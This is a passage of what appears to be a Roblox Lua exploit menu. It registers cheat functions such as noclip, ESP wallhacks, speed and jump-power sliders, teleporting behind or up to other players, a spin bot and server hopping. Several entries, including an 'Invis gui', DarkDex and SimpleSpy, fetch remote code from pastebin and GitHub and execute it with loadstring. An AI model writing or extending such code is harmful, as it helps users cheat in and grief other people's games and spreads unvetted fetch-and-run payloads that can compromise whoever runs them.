local character = player.Character
if not character or not character:FindFirstChild("HumanoidRootPart") then
return
end
local target = mouse.Hit
if target then
character:MoveTo(target.Position)
end
end
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.T then
teleportToMousePosition()
end
end)
end, "Trolling", "BROKEN")
FunctionManager:register("Invis gui", function()
loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))()
end, "Trolling", "Credits to the original maker!")
FunctionManager:register("DANCE", function()
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://27789359"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim)
track:Play()
end, "Fun", "DANCE DANCE")
FunctionManager:register("Sound GUI", function()
local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui")
if gui then
gui:Destroy()
return
end
local SoundGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local AddSoundId = Instance.new("TextButton")
local SoundIds = Instance.new("TextBox")
local Default = Instance.new("TextButton")
local Credits = Instance.new("TextLabel")
local Title = Instance.new("TextLabel")
local Swap = Instance.new("ImageButton")
local PlayBackSpeed = Instance.new("TextBox")
local Volume = Instance.new("TextBox")
local Looped = Instance.new("TextBox")
local Exit = Instance.new("ImageButton")
local Frame2 = Instance.new("Frame")
local Open = Instance.new("ImageButton")
local spoky = Instance.new("Sound")
local c00lflag = Instance.new("Sound")
local drag = Instance.new("UIDragDetector")
drag.Parent = Frame
c00lflag.Name = "c00lsound23sas"
c00lflag.Parent = Frame
spoky.Parent = Frame
spoky.SoundId = "rbxassetid://95156028272944"
spoky.Volume = 3
spoky.PlaybackSpeed = 0.2
spoky.Name = "spoky"
--Properties:
SoundGui.Name = "SoundGui"
SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
SoundGui.ResetOnSpawn = false
Frame.Parent = SoundGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 4)
Frame.BorderSizePixel = 2
Frame.Position = UDim2.new(0, 700, 0, 300)
Frame.Size = UDim2.new(0, 398, 0, 206)
AddSoundId.Name = "AddSoundId"
AddSoundId.Parent = Frame
AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0)
AddSoundId.BorderSizePixel = 2
AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0)
AddSoundId.Size = UDim2.new(0, 307, 0, 36)
AddSoundId.Font = Enum.Font.Arial
AddSoundId.Text = "Add Sound!"
AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255)
AddSoundId.TextSize = 29.000
SoundIds.Name = "SoundIds"
SoundIds.Parent = Frame
SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0)
SoundIds.BorderSizePixel = 2
SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
SoundIds.Size = UDim2.new(0, 307, 0, 33)
SoundIds.Font = Enum.Font.Arial
SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://"
SoundIds.Text = ""
SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255)
SoundIds.TextScaled = true
SoundIds.TextSize = 14.000
SoundIds.TextWrapped = true
Default.Name = "Default"
Default.Parent = Frame
Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Default.BorderColor3 = Color3.fromRGB(255, 0, 0)
Default.BorderSizePixel = 2
Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0)
Default.Size = UDim2.new(0, 307, 0, 28)
Default.Font = Enum.Font.Arial
Default.Text = "Spooky Scary Skeletons!"
Default.TextColor3 = Color3.fromRGB(255, 255, 255)
Default.TextSize = 23.000
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Credits.BackgroundTransparency = 1.000
Credits.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0)
Credits.Size = UDim2.new(0, 153, 0, 17)
Credits.Font = Enum.Font.SourceSans
Credits.Text = "made by: 1known. On discord!"
Credits.TextColor3 = Color3.fromRGB(255, 255, 255)
Credits.TextSize = 14.000
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1.000
Title.BorderColor3 = Color3.fromRGB(255, 0, 4)
Title.BorderSizePixel = 2
Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0)
Title.Size = UDim2.new(0, 231, 0, 48)
Title.Font = Enum.Font.Arial
Title.Text = "c00lSound GUI!"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 33.000
Title.TextWrapped = true
Swap.Name = "Swap"
Swap.Parent = Frame
Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Swap.BorderColor3 = Color3.fromRGB(255, 0, 0)
Swap.BorderSizePixel = 0
Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0)
Swap.Size = UDim2.new(0, 23, 0, 21)
Swap.Image = "rbxassetid://2500573769"
PlayBackSpeed.Name = "PlayBackSpeed"
PlayBackSpeed.Parent = Frame
PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0)
PlayBackSpeed.BorderSizePixel = 2
PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33)
PlayBackSpeed.Visible = false
PlayBackSpeed.Font = Enum.Font.Arial
PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!"
PlayBackSpeed.Text = "1"
PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayBackSpeed.TextScaled = true
PlayBackSpeed.TextSize = 14.000
PlayBackSpeed.TextWrapped = true
Volume.Name = "Volume"
Volume.Parent = Frame
Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Volume.BorderColor3 = Color3.fromRGB(255, 0, 0)
Volume.BorderSizePixel = 2
Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Volume.Size = UDim2.new(0, 307, 0, 33)
Volume.Visible = false
Volume.Font = Enum.Font.Arial
Volume.PlaceholderText = "Volume! Enter a number."
Volume.Text = "0.5"
Volume.TextColor3 = Color3.fromRGB(255, 255, 255)
Volume.TextScaled = true
Volume.TextSize = 14.000
Volume.TextWrapped = true
Looped.Name = "Looped"
Looped.Parent = Frame
Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Looped.BorderColor3 = Color3.fromRGB(255, 0, 0)
Looped.BorderSizePixel = 2
Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Looped.Size = UDim2.new(0, 307, 0, 33)
Looped.Visible = false
Looped.Font = Enum.Font.Arial
Looped.PlaceholderText = "Is it looped?, Type: False or True"
Looped.Text = "False"
Looped.TextColor3 = Color3.fromRGB(255, 255, 255)
Looped.TextScaled = true
Looped.TextSize = 14.000
Looped.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = Frame
Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Exit.BorderColor3 = Color3.fromRGB(255, 0, 0)
Exit.BorderSizePixel = 2
Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0)
Exit.Size = UDim2.new(0, 25, 0, 23)
Exit.Image = "rbxassetid://14930908086"
Frame2.Name = "Frame2"
Frame2.Parent = SoundGui
Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame2.BorderSizePixel = 0
Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0)
Frame2.Size = UDim2.new(0, 25, 0, 23)
Frame2.Visible = false
Open.Name = "Open"
Open.Parent = Frame2
Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Open.BorderColor3 = Color3.fromRGB(255, 0, 0)
Open.BorderSizePixel = 2
Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0)
Open.Size = UDim2.new(0, 25, 0, 23)
Open.Image = "rbxassetid://14930908086"
-- Scripts:
local function GSSVM_fake_script() -- AddSoundId.LocalScript
local script = Instance.new('LocalScript', AddSoundId)
local parent = script.Parent
parent.Activated:Connect(function()
local SoundId = parent.Parent:WaitForChild("SoundIds").Text
local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text
local Volume = parent.Parent:WaitForChild("Volume").Text
local looped = parent.Parent:WaitForChild("Looped").Text
if SoundId == "" then
parent.Text = "No Sound ID!"
wait(2)
parent.Text = "Add Sound!"
return
end
local id = "rbxassetid://" .. SoundId
local speed = tonumber(Playbackspeed) or 1
local existingSound = game.Workspace:FindFirstChild("c00lsound23sas")
if existingSound then
existingSound.SoundId = id
existingSound.PlaybackSpeed = speed
existingSound.Volume = Volume
if looped == "False" then
existingSound.Looped = false
elseif looped == "True" then
existingSound.Looped = true
else
existingSound.Looped = false
end
existingSound:Play()
else
local clonedSound = parent.Parent.c00lsound23sas:Clone()
clonedSound.Parent = game.Workspace
clonedSound.SoundId = id
clonedSound.PlaybackSpeed = speed
clonedSound.Volume = Volume
if looped == "False" then
clonedSound.Looped = false
elseif looped == "True" then
clonedSound.Looped = true
else
clonedSound.Looped = false
end
clonedSound.Looped = looped
clonedSound:Play()
end
parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!"
parent.TextScaled = true
wait(3.5)
parent.TextScaled = false
parent.Text = "Add Sound!"
end)
end
coroutine.wrap(GSSVM_fake_script)()
local function MWUVEW_fake_script() -- Default.LocalScript
local script = Instance.new('LocalScript', Default)
local parent = script.Parent
local sound = parent.Parent.spoky
parent.Activated:Connect(function()
if sound.Playing == true then
sound.Playing = false
else
sound.Playing = true
end
end)
end
coroutine.wrap(MWUVEW_fake_script)()
local function BIKZQ_fake_script() -- Swap.LocalScript
local script = Instance.new('LocalScript', Swap)
local parent = script.Parent
local playback = parent.Parent.PlayBackSpeed
local Sound = parent.Parent.SoundIds
local volume = parent.Parent.Volume
local looped = parent.Parent.Looped
parent.Activated:Connect(function()
if Sound.Visible == true then
Sound.Visible = false
playback.Visible = true
volume.Visible = false
looped.Visible = false
elseif playback.Visible ==true then
playback.Visible = false
Sound.Visible = false
volume.Visible = true
looped.Visible = false
elseif volume.Visible == true then
Sound.Visible = false
playback.Visible = false
volume.Visible = false
looped.Visible = true
elseif looped.Visible == true then
Sound.Visible = true
playback.Visible = false
volume.Visible = false
looped.Visible = false
end
end)
end
coroutine.wrap(BIKZQ_fake_script)()
local function AXYPXC_fake_script() -- Exit.LocalScript
local script = Instance.new('LocalScript', Exit)
local parent = script.Parent
local main = parent.Parent
parent.Activated:Connect(function()
main.Parent.Frame2.Visible = true
main.Visible = false
end)
end
coroutine.wrap(AXYPXC_fake_script)()
local function WHTXC_fake_script() -- Open.LocalScript
local script = Instance.new('LocalScript', Open)
local parent = script.Parent
local main = parent.Parent.Parent.Frame
parent.Activated:Connect(function()
main.Visible = true
parent.Parent.Visible = false
end)
end
coroutine.wrap(WHTXC_fake_script)()
end, "General", "NOT FE")
FunctionManager:register("Bind Key", function()
if bindFrame then return end
local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die)
if not gui then NotifyERROR("Gui not found!"); return end
screenGui = gui
bindFrame = Instance.new("Frame")
bindFrame.Name = generate_string(math_random(1, 10))
bindFrame.Size = UDim2.new(1,0,1,0)
bindFrame.BackgroundColor3 = Color3.new(0,0,0)
bindFrame.BackgroundTransparency = 0.5
bindFrame.ZIndex = 50
bindFrame.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = generate_string(math_random(1, 10))
panel.Size = UDim2.new(0, 300, 0, 400)
panel.Position = UDim2.new(0.5, -150, 0.5, -200)
panel.BackgroundColor3 = Color3.fromRGB(35,35,35)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = bindFrame
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0, 60, 0, 24)
closeBtn.Position = UDim2.new(1, -64, 0, 4)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
bindFrame:Destroy()
bindFrame = nil
if bindConn then bindConn:Disconnect(); bindConn = nil end
end)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -8, 0, 24)
title.Position = UDim2.new(0, 4, 0, 4)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSansBold
title.TextSize = 18
title.TextColor3 = Color3.new(1,1,1)
title.Text = "Bind Key to Function"
title.ZIndex = 52
title.Parent = panel
local list = Instance.new("ScrollingFrame")
list.Size = UDim2.new(1, -8, 1, -40)
list.Position = UDim2.new(0, 4, 0, 32)
list.CanvasSize = UDim2.new(0,0,0,0)
list.ScrollBarThickness = 6
list.ZIndex = 51
list.Parent = panel
local uiList = Instance.new("UIListLayout")
uiList.Padding = UDim.new(0,4)
uiList.SortOrder = Enum.SortOrder.LayoutOrder
uiList.Parent = list
local function refreshList()
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") or child:IsA("TextLabel") then
child:Destroy()
end
end
for _, cat in ipairs(FunctionManager.Categories) do
local hdr = Instance.new("TextLabel")
hdr.Size = UDim2.new(1,0,0,24)
hdr.BackgroundTransparency = 1
hdr.Font = Enum.Font.SourceSansBold
hdr.TextSize = 16
hdr.TextColor3 = Color3.new(1,1,0)
hdr.Text = "["..cat.."]"
hdr.ZIndex = 51
hdr.Parent = list
for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1,0,0,24)
btn.Font = Enum.Font.SourceSans
btn.TextSize = 14
btn.BackgroundColor3 = Color3.fromRGB(50,50,50)
btn.TextColor3 = Color3.new(1,1,1)
btn.ZIndex = 51
local bound = {}
for key, fn in pairs(customBinds) do
if fn == cb then table.insert(bound, tostring(key)) end
end
local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or ""
btn.Text = name..suffix
btn.Parent = list
btn.MouseButton1Click:Connect(function()
waitingBindFunction = { cb = cb, btn = btn, name = name }
btn.Text = name.." → [Press a key]"
end)
end
end
list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8)
end
bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed or not waitingBindFunction then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
customBinds[input.KeyCode] = waitingBindFunction.cb
waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")"
waitingBindFunction = nil
end
end)
refreshList()
end, "Utility", "BUGGED")
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
local fn = customBinds[input.KeyCode]
if fn and type(fn) == "function" then
pcall(fn)
end
end
end)
FunctionManager:register("JumpUp", function()
local char = Player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end
end, "Movement", "Leap into the air!")
FunctionManager:register("Sit", function()
local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid")
if hum then hum.Sit = true end
end, "Movement", "SIT DOWN")
FunctionManager:register("INF JUMP", function()
infJumpEnabled = not infJumpEnabled
if infJumpEnabled then
local debounce = false
infJumpConnection = UserInputService.JumpRequest:Connect(function()
if debounce then return end
debounce = true
local character = Player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
task.wait()
debounce = false
end)
else
if infJumpConnection then
infJumpConnection:Disconnect()
infJumpConnection = nil
end
end
end, "Movement", "Jump Forever!")
FunctionManager:register("WalkSpeed Slider", function()
if screenGui:FindFirstChild("WalkSpeedModal") then return end
local overlay = Instance.new("Frame")
overlay.Name = "WalkSpeedModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "SliderPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minS, maxS = 8, 100
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minS + (maxS-minS)*rel)
Humanoid.WalkSpeed = v
label.Text = "WalkSpeed: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your walkspeed!")
FunctionManager:register("Server Hop", function()
local success, res = pcall(function()
return game:HttpGet(
"https://games.roblox.com/v1/games/" ..
PlaceId ..
"/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true"
)
end)
if not success then
return NotifyERROR("[Server Hop] HTTP request failed")
end
local body
local ok, err = pcall(function()
body = HttpService:JSONDecode(res)
end)
if not ok or type(body) ~= "table" or type(body.data) ~= "table" then
return NotifyERROR("[Server Hop] Invalid JSON response")
end
local servers = {}
for _, v in ipairs(body.data) do
if type(v) == "table"
and tonumber(v.playing)
and tonumber(v.maxPlayers)
and v.playing < v.maxPlayers
and v.id ~= JobId then
table.insert(servers, v.id)
end
end
if #servers == 0 then
return NotifyERROR("[Server Hop] No available servers found")
end
local choice = servers[math.random(1, #servers)]
TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer)
end, "Utility","Changes Servers")
FunctionManager:register("TP Behind Closest", function()
if not HRP then
NotifyERROR("No HumanoidRootPart found.")
return
end
local closestPlayer
local shortestDistance = math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local distance = (otherRoot.Position - HRP.Position).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3
local newCFrame = CFrame.new(behindPosition, targetRoot.Position)
HRP.CFrame = newCFrame
end
else
NotifyERROR("No nearby player found.")
end
end, "Movement", "Owai moi, shinderu. NANI?")
FunctionManager:register("Scare Closest Player", function()
if not HRP then
NotifyERROR("Could not find your HumanoidRootPart.")
return
end
local closestPlayer, closestDistance = nil, math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local dist = (otherRoot.Position - HRP.Position).Magnitude
if dist < closestDistance then
closestDistance = dist
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local oldPos = HRP.CFrame
HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2
HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position)
task.wait(0.5)
HRP.CFrame = oldPos
end
else
NotifyERROR("No target player nearby.")
end
end, "Fun", "FNAF reference")
FunctionManager:register("ESP Toggle", function()
espOn = not espOn
for _, plr in ipairs(Players:GetPlayers()) do
if plr.Character and plr ~= Player then
local head = plr.Character:FindFirstChild("Head")
if head then
local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head)
bb.Name = "ESP"
bb.Size = UDim2.new(0,80,0,20)
bb.AlwaysOnTop = true
local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb)
lbl.Name = "Name"
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1,0,1,0)
lbl.TextColor3 = Color3.new(1,0,0)
lbl.TextScaled = true
lbl.Text = plr.Name
bb.Enabled = espOn
end
end
end
Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3)
end, "Visual", "ur cooked i just got wallhacks")
FunctionManager:register("JumpPowerSlider", function()
if screenGui:FindFirstChild("JumpPowerModal") then return end
Humanoid.UseJumpPower = true
local overlay = Instance.new("Frame")
overlay.Name = "JumpPowerModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "JumpPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minJ, maxJ = 50, 200
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minJ + (maxJ-minJ)*rel)
Humanoid.JumpPower = v
label.Text = "JumpPower: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your jumppower")
FunctionManager:register("Spin Bot", function()
spinOn = not spinOn
if spinOn then
if not HRP then return NotifyERROR("No HRP!") end
lockBP = Instance.new("BodyPosition")
lockBP.Name = "SpinLockBP"
lockBP.Position = HRP.Position
lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6)
lockBP.P = 1e5
lockBP.D = 0
lockBP.Parent = HRP
spinBAV = Instance.new("BodyAngularVelocity")
spinBAV.Name = "SpinBAV"
spinBAV.AngularVelocity = Vector3.new(0, 10000, 0)
spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6)
spinBAV.P = 1e5
spinBAV.Parent = HRP
NotifyERROR("Spin Bot On")
else
if spinBAV then
spinBAV:Destroy()
spinBAV = nil
end
if lockBP then
lockBP:Destroy()
lockBP = nil
end
NotifyERROR("Spin Bot Off")
end
end, "Visual", "Speeeeen")
FunctionManager:register("TP To Mouse", function()
if hit then
HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0))
warn("Teleported to mouse")
end
end, "Movement", "BUGGED")
FunctionManager:register("Save Position", function()
savedCFrame = HRP.CFrame
Notify("Position Saved", "SYSTEM", 3)
end, "Utility", "Checkpoint")
FunctionManager:register("Load Position", function()
if savedCFrame then
HRP.CFrame = savedCFrame
Notify("Position Loaded", "SYSTEM", 3)
else
NotifyERROR("No Position Saved")
end
end, "Utility", "Reload")
FunctionManager:register("No‑Clip", function()
noclipOn = not noclipOn
if noclipOn then
hoverHeight = HRP.Position.Y
while noclipOn == true do
task.wait(0.01)
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
local pos = HRP.Position
HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z)
end
Notify("No‑Clip ON (locked at height)", "SYSTEM", 3)
else
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
Notify("No‑Clip OFF", "SYSTEM", 3)
end
end, "Movement", "NOCLIP")
FunctionManager:register("DarkDex", function()
--Maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
end, "General", "Take a peek under the hood")
FunctionManager:register("SimpleSpy", function()
--also maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))()
end, "Catch remotes")
FunctionManager:register("Orbit All Nearby Parts", function()
local radius = 20
local height = 3
local orbitSpeed = 2
local speaker = Players.LocalPlayer
local character = speaker.Character or speaker.CharacterAdded:Wait()
local root = character:FindFirstChild("HumanoidRootPart")
if not root then
NotifyERROR("No HumanoidRootPart found.")
return
end
local origin = root.Position
local orbitParts = {}
for _, part in ipairs(workspace:GetDescendants()) do
if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then
local isInCharacter = false
for _, player in ipairs(Players:GetPlayers()) do
local char = player.Character
if char and part:IsDescendantOf(char) then
isInCharacter = true
break
end
end
if not isInCharacter and (part.Position - origin).Magnitude <= radius then
if not CollectionService:HasTag(part, "OrbitPart") then
if part:CanSetNetworkOwnership() then
part:SetNetworkOwner(speaker)
else
warn("Cannot set network owner for part:", part.Name)
end
part.CanCollide = false
CollectionService:AddTag(part, "OrbitPart")
table.insert(orbitParts, part)
end
end
end
end
if #orbitParts == 0 then
warn("No parts found for orbit.")
return
end
local angleOffset = 2 * math.pi / #orbitParts
for i, part in ipairs(orbitParts) do
local angle = angleOffset * i
local startPos = root.Position + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
part.Position = startPos
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
bodyGyro.P = 1e4
bodyGyro.CFrame = CFrame.new(part.Position, root.Position)
bodyGyro.Parent = part
local bodyVel = Instance.new("BodyVelocity")
bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5)
bodyVel.P = 1e4
bodyVel.Parent = part
local conn
conn = RunService.Heartbeat:Connect(function(dt)
if not root or not root.Parent then
conn:Disconnect()
return
end
angle += orbitSpeed * dt
local orbitCenter = root.Position
local orbitPoint = orbitCenter + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
